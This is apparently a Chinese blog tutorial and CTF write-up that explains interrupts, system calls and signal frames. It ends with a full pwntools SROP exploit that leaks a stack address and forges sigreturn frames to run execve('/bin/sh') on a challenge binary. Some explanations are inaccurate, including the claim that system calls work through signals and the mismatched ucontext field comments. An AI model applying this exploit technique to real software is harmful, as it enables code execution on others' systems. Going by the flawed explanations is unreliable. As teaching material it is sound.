0%

SignalFrame分析

SignalFrame分析

————深入理解SROP和系统调用

SROP 也即Sigreturn Oriented Programming,是一种基于 signal机制 进行攻击的高级ROP利用手段,通过覆盖 Signal Frame 上的关键数据来控制 sigreturn,从而达到漏洞利用的效果

我在学习SROP的过程中,发现了一道设计巧妙的题目,我在分析了其他师傅的WP后,又去了解了一下SROP背后的原理,于是想记录一下,做个总结


前言-中断流程&分类

中断是计算机程序中的一种机制,用于处理一些需要及时处理的情况

一,中断流程:

1
中断请求 >> CPU识别 >> 中断判优 >> 保存信息 >> 跳转中断处理程序 >> 返回复原

1.中断请求:程序可以利用指令进行中断请求,而一些被检测出来的错误也可以触发中断请求

2.CPU识别:CPU是处理中断信息的核心,它负责检测中断请求

3.中断判优:当程序内部出现错误时,必须马上做出响应,所以CPU会检查flag寄存器中的“TP位”和“IF位”来获取中断的信息,以便判断哪些响应是紧急的,哪些又是可以不响应的

4.保存信息:在进行响应前,内核会帮用户进程将其上下文保存在该进程的栈中

5.跳转中断处理程序:根据中断信息和中断向量表找到对应的中断处理程序

6.返回复原:调用函数Sigreturn来复原栈空间

二,中断分类:

中断可以根据其中断源和重要程度进行分类,大致有以下3种:

1.内中断和外中断

1
2
3
外中断:是指来自处理器和内存以外的部件引起的中断,包括I/O设备发出的I/O中断,外部信号中断,以及各种计时器引起的时钟中断等(外中断在狭义上一般被称为中断)

内中断:主要指在处理器和内存内部产生的中断,包括程序运算引起的各种错误,如地址非法、检验错、页面失效、存储访问控制错、算术操作溢出、数据格式非法、除数为0、非法指令、用户程序执行特权指令、分时操作系统中的时间片中断以及用户态到核心态的切换等

2.硬件中断和软件中断

1
2
3
硬件中断:通过外部的硬件产生的中断(硬件中断属于外中断)

软件中断:通过某条指令产生的中断,这种中断可以编程实现(软件中断属于内中断)

3.非屏蔽中断和可屏蔽中断(全是外中断)

1
2
3
非屏蔽中断:非屏蔽中断是一种硬件中断,此种中断通过不可屏蔽中断请求NMI控制,不受中断标志位IF的影响,即使关中断(IF=0)的情况下也会被响应

可屏蔽中断:可屏蔽中断也是一种硬件中断,此种中断通过中断请求标记触发器INTR控制,且受中断标志位IF的影响,在关中断情况下不接受中断请求

参考:https://blog.csdn.net/fengfeng0328/article/details/83318000(更详细)


前言-系统调用

什么是系统调用?

由操作系统提供的供所有系统调用的程序接口集合

用户程序通常只在 用户态 下运行,当用户程序想要调用只能在 内核态 运行的子程序时,所以操作系统需要提供 访问这些内核态 运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法
用户程序通过系统调用从用户态(user mode)切换到核心态( kernel mode ),从而可以访问相应的资源。这样做的好处是:

  • 为用户空间提供了一种硬件的抽象接口,使编程更加容易
  • 有利于系统安全
  • 有利于每个进程度运行在虚拟系统中,接口统一有利于移植

系统调用的过程

系统调用通过signal机制来实现

一般64位系统会用 syscall(陷阱)来传递中断信息,而32位系统则会使用 int n(中断)

它们都会把系统调用号装入“rax/eax”寄存器,然后把必要的参数装入其他寄存器

系统调用和内核的联系

通常,处理器设有两种模式: “用户模式”“内核模式” ,通过一个标签位来鉴别当前正处于什么模式

内核模式可以运行所有指令,包括特权指令(主要是一些硬件管理的指令,例如修改基址寄存器内容的指令),而用户模式不能执行特权指令,这样的设计主要为了安全问题,即由操作系统负责管理硬件,避免上层应用因错误设计而导致硬件问题

而在上文中提及到:有些基于读写的操作必须要在 “内核模式” 中完成,而系统调用为了实现这些功能而诞生的,它通过提供 有权限限制“内核模式” ,来实现一些 “用户模式” 无法办到的操作

系统调用和库函数的联系

事实上,系统调用所提供给用户的是直接而纯碎的高级服务,如果想要更加人性化,具有更符合特定情况的功能,那么就要我们用户自己定义,因此衍生了库函数

库函数把系统调用进行包装,使它更方便使用,比如C语言标准库中的“printf”就使用了大量的系统调用,才实现了输出字符串到屏幕的功能

所以系统调用是为了方便使用操作系统的接口,而库函数则是为了人们编程的方便

参考:

https://www.cnblogs.com/DurKui/p/15345050.html

https://www.jianshu.com/p/8e89b13fac7d


简析Signal机制

signal机制是类unix系统中进程之间相互传递信息的一种方法,是软件中断的一种

流程如下:

1
某个进程发送signal机制 >> 保存上下文 >> signal处理 >> 还原上下文 >> 进行程序

详细来说:

进程发起signal后,先会保存上下文并在栈顶添加一个 sigreturn ,然后控制IP指针指向 Siganl Handler,程序执行完成后又会还原上下文,最后控制IP指针返回

​ //这样大规模的读写操作需要更高的权限,所以需要进入内核态,由于恢复的任务比较艰巨,系统干脆提供了一个系统调用 sigreturn

Signal机制之中有几个重要的概念:

1.sigreturn:一种系统调用,用于还原各个寄存器中的数据

2.ucontext:linux中设计的一种结构体,给用户让渡了一部分控制代码上下文的能力

3.siginfo:一种结构体,用于存储信号的信息

4.Signal Frame:我们称ucontext以及siginfo这一段为Signal Frame

SROP的核心就是伪造Signal Frame,欺骗程序执行我们需要的代码


简析ucontext & siginfo

ucontext:

1
2
3
4
5
6
7
typedef struct ucontext {
struct ucontext *uc_link;//指向此上下文返回时,将恢复的上下文的指针
sigset_t uc_sigmask;//运行时各个寄存器的值
stack_t uc_stack;//运行栈
mcontext_t uc_mcontext;//信号
...
} ucontext_t;

结构体ucontext用于保存上下文信息

有了它,许多上下文切换的操作都可以完成,linux也为它提供了一组api:

1
2
3
4
5
6
7
8
int  getcontext(ucontext_t *ucp);
//获取当前上下文
int setcontext(const ucontext_t *ucp);
//则是从‘ucp’指向的实例恢复上下文到现场
void makecontext(ucontext_t *ucp, (void *func)(), int, ...);
//可以修改getcontext得到的上下文
int swapcontext(ucontext_t *oucp, const ucontext_t *ucp);
//调用getcontext到oucp,然后用ucp去setcontext

这里就不继续展开了

siginfo:

1
2
3
4
5
6
7
8
9
10
11
typedef struct {
int si_signo;// signal number的简写,该变量用来存储信号编号并且恒有值
int si_code;// signal code的简写,可以获取多种变量值
union sigval si_value;// ignal value的简写,这个变量是一个结构体
int si_errno;// 如果该位不为0,则和信号在一起的有一个错误代码(信号发生错误)
pid_t si_pid;// 发送该信号的进程id
uid_t si_uid;// 发送该信号的用户id
void *si_addr;// 错误发生的地址
int si_status;
int si_band;
} siginfo_t;

结构体siginfo用于保存signal的各种信息

参考

ucontext:https://www.jianshu.com/p/a96b31da3ab0

siginfo:https://www.cnblogs.com/zw1009-1803/p/13701754.html

TCP简析:https://blog.csdn.net/qq_41877474/article/details/102580825


简析Signal Frame

Signal Frame是由ucontext和siginfo组成的区域,signal中的信息都会存储在这里

其末尾就是sigreturn,可以根据Signal Frame在返回原栈帧和原寄存器数据

Signal Frame的结构在32位系统和64位系统中有些许不同:

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

每一次在请求signal后,signal handler执行前,程序都会在栈上构建这个栈帧

如果栈溢出的数据可以覆盖它的话,就可以进行伪造,欺骗程序


深入理解SROP

先看一个例子:(通过修改Signal Frame来控制syscall)

伪造 rdi 为“/bin/sh”,伪造 rip 为syscall,伪造 rax 为“59”(execve)

这样的话,程序在结束signal handler,执行sigreturn的时候,就可以控制 rip 指向syscall,然后根据调用号 “59” 执行系统调用execve

当然也可以伪造“syscall;ret”形成system call chains

syscall执行完成过后,就可以通过ret控制ip指针指向栈顶元素(类似于gadgets)

SROP需要以下条件:

  1. 攻击者可以通过stack overflow等漏洞控制栈上的内容
  2. 需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址)
  3. 需要知道syscall指令在内存中的地址
  4. 需要知道sigreturn系统调用的内存地址

接着我们就看一下那道设计巧妙的题目吧:

1
2
3
4
5
6
signed __int64 start()
{
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

return sys_read(0, &retaddr, 0x400uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
.text:00000000004000B0 ; signed __int64 start()
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends

原汇编代码就相当于“read(rax,rsp,0x400)”,直接在栈顶写入数据

​ //注意:read的写入的位置并不是真正的rsp,而是对rsi进行赋值时的rsp指向的位置,所以syscall构建栈帧来保存上下文的过程不会受read的影响

源程序就是用汇编写的,只有一个函数,程序使用statically(没有got表)

经过分析可以发现3个问题:

问题一,没有“/bin/sh”:

本程序没有“/bin/sh”,所以需要用“read”在某个地址上写入“/bin/sh”

栈地址是不确定的,所以需要用“write”泄露用于写入“/bin/sh”栈地址

问题二,怎么修改rax:

想要syscall调用“write”,必须先要把rax填入“1”,而寄存器和栈空间完全就是两个东西,那么这么通过栈来控制寄存器呢?

整个程序就只有一个“syscall”函数,它第一次执行时调用“read”,而“read”的返回值就装在“rax”中

1
2
3
4
5
1、如果读取成功,则返回实际读到的字节数。这里又有两种情况:一是如果在读完count要求字节之前已经到达文件的末尾,那么实际返回的字节数将小于count值,但是仍然大于0;二是在读完count要求字节之前,仍然没有到达文件的末尾,这是实际返回的字节数等于要求的count值。

2、如果读取时已经到达文件的末尾,则返回0

3、如果出错,则返回-1

那么,先要rax为“1”,函数“read”的实际写入长度必须为“1”

1
.text:00000000004000B0                 xor     rax, rax

而且这段汇编代码会把rax中的值改为“0”,所以必须让过……

所以“send(‘\xb3’)”是最佳选择,覆盖“0x4000B0”最后一字节为“0xb3”,跳过了它,并且长度为“1”

接下来就会执行“write(1,rsp,0x400)”,泄露stack_addr

1
2
3
4
5
6
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3 #start_addr压栈3次,程序总共会执行4次
sh.send(payload)
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

第一次read时:在rsp写入“4000B0” * 3,同时read返回时“pop”掉一个,程序返回到“start_addr”

第二次read时:在rsp写入“\xb3”,改写rsp为“0x4000B3”,程序返回到“start_addr+1”

第三次就直接执行write了

问题三,SROP到底怎么利用:

其实pwntool中有专门用来攻击srop的工具:SigreturnFrame

和ROP模块一样,可以自动获取程序中的gadgets

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *
small = ELF('./SROP')

sh = process('./SROP')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3
sh.send(payload)

sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

sigframe = SigreturnFrame()
#SigreturnFrame模块,触发条件:只要rt_sigreturn的时候栈顶是SigreturnFrame就行
sigframe.rax = constants.SYS_read #控制rax为‘read’的调用号
sigframe.rdi = 0 #控制各个参数
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr #控制rsp为stack_addr(栈转移)
sigframe.rip = syscall_ret #控制rip为syscall_ret(但只会执行ret)
payload = p64(start_addr) + 'a' * 8 + str(sigframe)#构建signal frame(SYS_read)
sh.send(payload)

sigreturn = p64(syscall_ret) + 'b' * 7#读入15个字符,read控制rax为15
sh.send(sigreturn)

"""
程序在识别到syscall后,首先构建新的栈帧保存上下文,然后调用sys_read在原来的栈空间中写入payload,sys_read执行完成后会ret栈顶的sigreturn,把新构建的栈帧pop出来,接着在程序最后执行的ret会控制IP指向‘start_addr’,然后程序重新执行

重复上述操作,在栈空间中压入‘syscall_ret’(因为ret会使rsp+8,所以‘syscall_ret’其实写入了'aaaaaaaa'的位置),并在最后一个ret的时候控制IP指向它

程序在识别到syscall后,发现rax为15所以执行sigreturn,并且其后正好就是sigframe满足了SigreturnFrame模块的条件(即使sigframe被'bbbbbbb'覆盖了一部分也不影响),sigreturn会根据sigframe来设置寄存器的值,控制IP指向syscall_ret,执行sys_read(伪)
"""

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'c' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
#通过SYS_read在stack_addr+0x120写入'/bin/sh\x00',顺便构建signal frame(SYS_execve)
sh.send(payload)
sh.send(sigreturn)

"""
在之前的操作中已经更换了寄存器的数据,所以payload会被写入‘stack_addr’,在‘stack_addr’之中构建sigframe并且在‘stack_addr + 0x120’中写入'/bin/sh\x00',在sys_read(伪)结束以后的ret会控制IP指向‘start_addr’

重新执行程序后,寄存器'rax,rdi,rsi,rdx'被重置,因为‘start_addr’被pop出栈,所以sigreturn会写入'cccccccc'的位置,和上文一样了,SigreturnFrame模块的条件满足
"""

sh.interactive()

总结:

SROP的实现很大程度上依靠SigreturnFrame模块,使用这个模块只需要保证sigreturn执行时的栈顶是SigreturnFrame就可以了

所以需要先构建signal frame,然后再合适的时机调用sigreturn

syscall本身压栈的sigreturn难以被利用,所以我们常常改写“rax”为“15”,以主动调用sigreturn,比如:通过read函数的返回值改写“rax”,通过“pop rax”指令来改写“rax”

SROP也较为灵活,因为可以改写的寄存器很多,栈转移等操作都可以在SROP的附庸中实现

扩展:https://2cto.com/article/201512/452080.html


SROP和传统ROP的对比

一般ROP

ROP的攻击方式比较普遍,安全防护相应的也比较多

ROP极大的依赖于栈结构,gadgets片段都是保存在stack上,所以在一次利用结束后,在stack发生改变的时候,很难再次利用

SROP和攻击

采用SROP进行攻击,需要的gadgets少

每次只需要伪造对应的Frame,sigreturn的调用都能够强制切换到我们需要的状态,有着极高的代码复用性

两者对比

综合考虑,SROP明显优于ROP,首先SROP是需要利用的gadgets比ROP少,接着就是代码复用性高,只要有syscall随时都可以控制程序执行系统调用,而ROP还需要考虑程序中是否有现成的system函数,如果没有,则需要通过DynELF,LibcSearcher等各种方法到libc中获取system

但SROP的普遍性却不如ROP,SROP需要syscall,如果程序中压根就没有syscall当然就用不了SROP,并且伪造Signal Frame需要相当长的栈空间(至少248字节),如果栈溢出的字节数过少也用不了SROP(SROP的条件非常苛刻)